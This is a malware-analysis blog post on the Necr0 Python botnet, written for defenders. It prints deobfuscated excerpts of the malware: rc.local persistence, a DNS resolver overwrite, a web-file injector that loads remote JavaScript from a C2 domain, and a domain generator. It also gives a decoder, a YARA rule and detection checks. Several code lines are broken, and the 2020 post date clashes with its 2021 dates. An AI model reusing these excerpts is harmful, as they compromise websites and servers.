Technical Analysis Of The Necr0 Python Malware

Malware-Analysis / April 20, 2020 • 10 min read

Tags: python malware

I recently got a hold of a malware sample written in python that dropped crypto currency miners, among other things. It was built with Python2.7 and was heavily obfuscated. I decided to analyse it and try to break it apart to understand it better and its capabilities.

In this article, I will show some parts of the malware and explain its purpose. I will also provide some detection techniques for detecting this specific malware.

Variables and method names have been changed to make more sense for the reader. Code snippets have been shortened for the sake of brevity.

Defeating obfuscation

Before analysing the malware, I wanted to try to remove as much obfuscation as possible without manually editing the code. I created a script that transformed the following obfuscated code:

 1    def aTJLaPaEfTy(self):
 2        try:
 3            waibPgcEvaVW=open(EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\xd4\x2a\xa4\xff\xdd\xed\xe6\xee\xa0\xb9\xae\x0a\x00\x3d\xde\x07\x0f")), "w")
 4            waibPgcEvaVW.write(EcvPaTMdf(zlib.decompress("\x78\x9c\xdb\x15\x96\x2c\x23\x37\x89\x55\xeb\x6f\x44\xff\x12\xf9\xc3\xac\xe5\x57\x4e\xfa\xed\x42\x16\x3a\xc4\x5a\x06\x14\x02\x00\x35\x84\x10\x7d")))
 5            waibPgcEvaVW.close()
 6            rc=open(EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\xd4\x2a\x52\xf4\xc5\xf5\xcc\x97\x58\x00\x2b\x19\x06\x85")),"rb")
 8            rc.close()
 9            if EcvPaTMdf(zlib.decompress("\x78\x9c\xdb\x16\x91\xc8\x0b\x00\x04\xb3\x01\x7d")) not in data:
10                with open(LEhPiouaoL, 'rb') as ihzgdpAh, open(EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\x34\x55\xc2\xf8\x0d\x00\x14\x96\x03\xf0")), 'wb') as awhadRloi:
11                    while True:
12                        BCToiLPREy =*1024)
13                        if not BCToiLPREy:
14                            break
15                        awhadRloi.write(BCToiLPREy)
16                os.chmod(EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\x34\x55\xc2\xf8\x0d\x00\x14\x96\x03\xf0")), 777)
17                rc=open(EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\xd4\x2a\x52\xf4\xc5\xf5\xcc\x97\x58\x00\x2b\x19\x06\x85")),"wb")
18                if EcvPaTMdf(zlib.decompress("\x78\x9c\xdb\xe8\x9f\xce\x0b\x00\x04\x90\x01\x75")) in data:
19                    rc.write(data.replace(EcvPaTMdf(zlib.decompress("\x78\x9c\xdb\xe8\x9f\xce\x0b\x00\x04\x90\x01\x75")), EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\x34\x55\xc2\xf8\x8d\xc2\xa9\xb7\x11\x6d\x00\x30\x0b\x06\xa5"))))
20                else:
21                    rc.write(EcvPaTMdf(zlib.decompress("\x78\x9c\xbb\x27\x91\xcd\xcb\x77\x43\xd4\xf8\x7b\x1c\x00\x15\x06\x03\xf2")))    
22                rc.close()
23        except:
24            pass

Into a much more readable version:

 1def HYZwyjaoSAo(self):
 2    try:
 3        EuwdcwhxZEy=open("/etc/resolv.conf", "w")
 4        EuwdcwhxZEy.write("nameserver \\ nameserver")
 5        EuwdcwhxZEy.close()
 6        rc=open("/etc/rc.local","rb")
 8        rc.close()
 9        if "boot" not in data:
10            with open(currentExecFile, 'rb') as ofuhaBwXIc, open("/etc/boot", 'wb') as nFnawMFdkiMV:
11                while True:
12                    ooihBBfeps =*1024)
13                    if not ooihBBfeps:
14                        break
15                    nFnawMFdkiMV.write(ooihBBfeps)
16            os.chmod("/etc/boot", 777)
17            rc=open("/etc/rc.local","wb")
18            if "exit" in data:
19                rc.write(data.replace("exit", "/etc/boot \\ exit"))
20            else:
21                rc.write("/etc/boot")
22            rc.close()
23    except:
24        pass

This is possible because we know the obfuscation algorithm, which looks like this:

1def EcvPaTMdf(s):
2    bhhSOgogRj = [212, 55, 14, 121, 109, 247, 119, 92, 152, 42, 175, 149, 49, 242, 43, 70, 250, 248, 68]
3    return ''.join([chr(ord(c) ^ bhhSOgogRj[i % len(bhhSOgogRj)]) for i, c in enumerate(s)])

The variable bhhSOgogRj contains the secret key used XOR characters. Armed with this knowledge, we can build a decoder script:

 1#!/usr/bin/env python3
 3import re
 4import zlib
 6def decode(s):
 7    bhhSOgogRj = [212, 55, 14, 121, 109, 247, 119, 92, 152, 42, 175, 149, 49, 242, 43, 70, 250, 248, 68]
 8    return ''.join([chr(c ^ bhhSOgogRj[i % len(bhhSOgogRj)]) for i, c in enumerate(s)])
10reg = re.compile("([A-Za-z]+\(zlib\.decompress\(\"([\\a-f0-9x]+)\"\)\))")
12with open("", "r") as f:
13    data =
14    found = reg.findall(data)
15    if found:
16        for line in found:
17            hex_value = line[1]
18            full_string = line[0]
19            hx = hex_value.replace("\\x","")
20            s = bytearray.fromhex(hx)
21            y = zlib.decompress(s)
22            try:
23                a = data.replace(full_string, f"\"{decode(y)}\"")
24                data = a
25            except Exception:
26                print("error")
27                continue
29    with open("", "w") as o:
30        o.write(data)

Now I can begin analysing the malware.

First steps

1if forkSuccessful():
2    writePID(".pidw")
3    nPhcxQhVzd()

Immediately when the program starts, it tries to fork itself into a new process. If return 0 is executed, the malware will not run.

 1def forkSuccessful():
 2    try:
 3        pid = os.fork()
 4        if pid > 0:
 5            sys.exit(0)
 6    except OSError:
 7        return 0
 8    os.setsid()
 9    os.umask(0)
10    try:
11        pid = os.fork()
12        if pid > 0:
13            sys.exit(0)
14    except OSError:
15        return 0
16    return 1

Next step, it writes its PID to disk, but first it checks if the file .pidw exists, if it does, it will open the file and read the PID inside it and kill the process. Then it will write the new PID. This is most likely to ensure that only one copy of the malware is running at any given time.

 1def iseSURJTiXTid(duLZajeLU):
 2    try:
 3        os.kill(duLZajeLU, 0)
 4    except OSError:
 5        return
 6    else:
 7        return duLZajeLU
 9def writePID(pidFilePath):
10    if os.path.exists(pidFilePath):
11        try:
12            if iseSURJTiXTid(int(open(pidFilePath).read())):
13                os.kill(os.getpid(),9)
14            else:
15                os.remove(pidFilePath)
16        except:
17            try:
18                os.remove(pidFilePath)
19            except:
20                pass
21    open(pidFilePath, 'w').write(str(os.getpid()))
22    return pidFilePath

Now it’s time for running the actual malware! The method below wraps the execution of the class qRuFGkSs() inside a while loop and a try/catch statement. Probably to ignore any errors that arises during runtime and keep on running.

1def nPhcxQhVzd():
2    while 1:
3        try:
4            qRuFGkSs()
5        except:
6            pass


Once the class qRuFGkSs() executes, its __init()__ function (the constructor) will be executed first. The first thing it does is to set STDOUT and STDERR to /dev/null, meaning any (error) output will not be printed to screen.

The next function, which I call repackProgram(), is actually the most interesting function in this malware. Because it changes the malware in such a way that every time it executes it will appear as a new program.

 1def __init__(self):
 2    sys.stdout = sys.stderr = open(os.devnull,'wb')
 3    self.repackProgram()
 4    self.ctx = ssl.create_default_context()
 5    self.ctx.check_hostname = False
 6    self.ctx.verify_mode = ssl.CERT_NONE
 7    self.VwkBkdwM=self.bxsHTdxPUds(random.randrange(8,16))
 8    self.gLsaWmlh=0
 9    self.XUbvPqib=0
10    self.VSoeKsdv=0
11    self.AELmEnMe=0
12    self.prefiex="."
13    self.EQGAKLwR=443
14    self.runExploitsstats={"gaybots":[0,0]}
15    self.scannerenabled = 1
16    self.snifferenabled = 0
17    self.scanips=[]
18    threading.Thread(target=self.searchFileTypes).start()
19    threading.Thread(target=self.UlmSHpooaCdc).start()
20    self.ircVictimNick="[HAX|"+platform.system()+"|"+platform.machine()+"|"+str(multiprocessing.cpu_count())+"]"+str(self.VwkBkdwM)
21    self.aRHRPteL="[HAX|"+platform.system()+"|"+platform.machine()+"|"+str(multiprocessing.cpu_count())+"]"+str(self.VwkBkdwM)
22    self.pBYbuWVq=str(self.VwkBkdwM)
23    [...]

The ability to change the code but retain the same functionality is called polymorphism.

The way this malware achieves this is to open itself, parse the code using the AST module and traverse the tree while modifying function names and variables. This means that every time this method is called, the malware will modify all functions and variables so it will look different. This defeats traditional signature based detections. Once that’s done, it will write the result to itself, meaning it will overwrite the previous version.

The backdoor

To achieve persistence, the malware will try to backdoor /etc/rc.local with a reference to /etc/boot which will contain a copy of the malware. However, this will only work if the user executing the malware has root privileges.

It also tries to set the preferred DNS server to and, most likely to evade custom DNS filtering/monitoring.

 1def HYZwyjaoSAo(self):
 2    try:
 3        EuwdcwhxZEy=open("/etc/resolv.conf", "w")
 4        EuwdcwhxZEy.write("nameserver \\ nameserver")
 5        EuwdcwhxZEy.close()
 6        rc=open("/etc/rc.local","rb")
 8        rc.close()
 9        if "boot" not in data:
10            with open(currentExecFile, 'rb') as ofuhaBwXIc, open("/etc/boot", 'wb') as nFnawMFdkiMV:
11                while True:
12                    ooihBBfeps =*1024)
13                    if not ooihBBfeps:
14                        break
15                    nFnawMFdkiMV.write(ooihBBfeps)
16            os.chmod("/etc/boot", 777)
17            rc=open("/etc/rc.local","wb")
18            if "exit" in data:
19                rc.write(data.replace("exit", "/etc/boot \\ exit"))
20            else:
21                rc.write("/etc/boot")
22            rc.close()
23    except:
24        pass

Infecting HTML files


The malware will also try to infect web files by injecting javascript code that will load an external malicious javascript file.

 1def backdoorFile(self, filenameToBackdoor):
 2    [...]
 3    kIWvKBVJjU = b64encode("//" + self.AnKeMnXc + "/campaign.js")
 4    ZEaXidosaG="(function(" + WiQOnadIBNQ + ", " + BHgYdESOTTaQ + ") {" + BHgYdESOTTaQ + " = " + WiQOnadIBNQ + ".createElement('script');" + BHgYdESOTTaQ + ".type = 'text/javascript';" + BHgYdESOTTaQ + ".async = true;" + BHgYdESOTTaQ + ".src = atob('"v+ aNDQdUzzdyS + kIWvKBVJjU + aNDQdUzzdyS + "'.replace(/" + aNDQdUzzdyS + "/gi, '')) + '?' + String(Math.random()).replace('0.','');" + WiQOnadIBNQ + ".getElementsByTagName('body')[0].appendChild(" + BHgYdESOTTaQ + ");}(document));"
 5    [...]
 8def searchFileTypes(self):
 9    """
10        Search for .js, .html and .php files
11    """
12    self.AkvElneS=0
13    for zSPEvwUiRiDk in [ele for ele in os.listdir("/") if ele not in ["proc", "bin", "sbin", "sbin", "dev", "lib", "lib64", "lost+found", "sys", "boot", "etc"]]:
14        for WlaGLQjJC in ["*.js", "*.html", "*.htm", "*.php"]:
15            for filenameToBackdoor in os.popen("find \"/" + zSPEvwUiRiDk + "\" -type f -name \"" + WlaGLQjJC + "\"").read().split("\n"):
16                filenameToBackdoor = filenameToBackdoor.replace("\r", "").replace("\n", "")
17                if "node" not in filenameToBackdoor and 'lib' not in filenameToBackdoor and "npm" not in filenameToBackdoor and filenameToBackdoor != "":
18                    self.backdoorFile(filenameToBackdoor)

We did not identify the external malicious javascript file because its domain seems to be loaded during runtime by the command and control server.

Domain Algorithm Generator

To combat C2 takedowns, the malware includes a domain algorithm generator (DAG) which dynamically and deterministically computes the C2 address. If one domain gets taken down, the malware operator can just activate the next domain. The upside is that malware analysts can discover these methods and compute the same domain list and start blocking domains.

The following shows the DAG:

1def bxsHTdxPUds(integer16):
2    return ''.join(random.choice("abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") for _ in range(integer16))
4def ZzoOnYUl(integerBetween0And4096):
5    # Make sure to run this with python2
6    # python3 "random.seed()" will generate differently
7    random.seed(a=5236442+integerBetween0And4096)
8    return bxsHTdxPUds(16)+".xyz"

This will deterministically generate 4096 domains:

The full list of domains can be found here.

Mass Exploitation

Next the malware will try to start CPU_COUNT * 10 number of threads running a method that will generate random IPs which it then will try to attack, using a predefined list of exploit payloads.

1for _ in range(multiprocessing.cpu_count() * 10):
2    try:
3        threading.Thread(target=self.hlUmvujv).start()
4    except:
5        pass
6self.sfAxqaAqh() <--- Try running this?? 

The malware will try to exploit the following vulnerabilities.

I was surprised by this design because how likely is it that a randomly generated IP is running one or more vulnerable services? Apparently enough.

Command and Control

After executing the exploitation phase, the malware will connect to the IRC command and control server using SSL/TLS. Once connected, the host will become a zombie, part of the global botnet.

The malware includes a hardcoded x.509 certificate and corresponding private key. These files are dropped on the system and used for communicating with the C2.

Version:          3 (0x02)
Serial number:    79074883743393278476520399280442039870974936087 (0x0dd9d725d4aa0e43fae64f68887d3a6aa6c54417)
Algorithm ID:     SHA256withRSA
  Not Before:     16/01/2021 22:10:18 (dd-mm-yyyy hh:mm:ss) (210116221018Z)
  Not After:      16/01/2022 22:10:18 (dd-mm-yyyy hh:mm:ss) (220116221018Z)
  C  = 00
  ST = -
  L  = your box
  O  = Kek Security
  OU = Operations
  CN =
  E  =
  C  = 00
  ST = -
  L  = your box
  O  = Kek Security
  OU = Operations
  CN =
  E  =
Public Key
  Algorithm:      RSA
  Length:         2048 bits
  Modulus:        a9:25:7c:da:cb:f9:38:0c:82:90:82:99:0a:f9:2a:f2:
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      24:9b:02:8c:a0:e3:31:4a:4a:6f:f4:7e:58:fd:f6:aa:

  subjectKeyIdentifier :
  authorityKeyIdentifier :
  basicConstraints CRITICAL:

Once connection has been established, an infected host will identify itself as:


Channel names and passwords seems to be dynamically loaded when the malware first connects to the C2 server. Because the C2 server is not responding at the moment, we can not extract this information.

Once the infected host is part of the botnet, it is ready to receive commands. The following is a list of commands that the malware accepts:

  • logout
  • udpflood
  • synflood
  • tcpflood
  • slowloris
  • httpflood
  • loadamp
  • reconnect
  • reflect
  • addport (add additional ports to scan)
  • delport (remove ports to scan)
  • ports (show which ports currently being scanned)
  • injectcount (how many files have been infected)
  • reinject (reinfect files)
  • scanner
  • sniffer (perform man in the middle attack using ARP poisoning)
  • scannetrange
  • scanstats
  • clearscan
  • revshell
  • shell
  • download
  • killnight (terminate the program)
  • execute
  • killbyname
  • killbypid
  • disable (disable scans and attacks)
  • getip
  • ram
  • updatecmd
  • info
  • repack (re-polymorph)

The malware does provide a lot of functionality. The most interesting part is the fact that it includes a man-in-the-middle sniffer. The sniffed packets would be sent back to the C2 server.


Below are a few detection techniques that can be used to detect this malware in a network or on a computer.


This yara rule will match the encoded SSL certificate embedded in the program as well as they XOR key found in this sample. Some samples may have a differet XOR key however.

rule necr0Malware

        author = "KITS"
        description = "Detect necr0/Freak/Keksec python malware."
        last_modified = "2021-02-18"
        reference_url1 = ""
        reference_url2 = ""

        $hex_string = "\x78\x9c\x01\x4a\x00\xb5\xff\x99\x58\x74\x10\x01\x9b\x16\x73\xad\x04\x9f\xb5\x19"
        $xor_key_string = "212, 55, 14, 121, 109, 247, 119, 92, 152, 42, 175, 149, 49, 242, 43, 70, 250, 248, 68"

        any of them 


Assuming you log and store SSL/TLS metadata, search for connections containing the following data:

  C  = 00
  ST = -
  L  = your box
  O  = Kek Security
  OU = Operations
  CN =
  E  =

You also check if there exists any DNS lookups to any domains found in this list.


These are some steps you can take to ensure that you have not been infected.

  • Any modifications to /etc/rc.local should be investigated.
  • Has your name servers been changed? Check /etc/resolv.conf
  • If /etc/boot exists, verify it is not malware


This was an interesting sample to analyse, both from a developer- and security perspective. The developer of this malware wraps almost everything in try/catch statements and depends on Python2 to be installed, which is end of life. The number of infected hosts would probably be higher if the author supported both Python 2 and version 3. The polymorphic engine was clever, we’ll probably see more of this in python malware in the feature.

From a security perspective, the malware is not advanced. It seems more like a hit n' run malware which you use to drop cryptocurrency miners or use to DDOS online services. The malware tries to achieve persistence by infecting files in /etc/, but this will only work if the user running the malware is root. In monitored environments, the malware is quite noisy as well. Using IRC as CnC would most likely light up as a Christmas tree if such traffic is not common. Also, trying to hijack /etc/rc.local would also trigger some alarms. Yet, this malware has had great success. The reason for this is that it has managed to infect a lot of non-monitored systems hosting out-dated software.

A full technical report of this malware family can also be found at CheckPoint Research and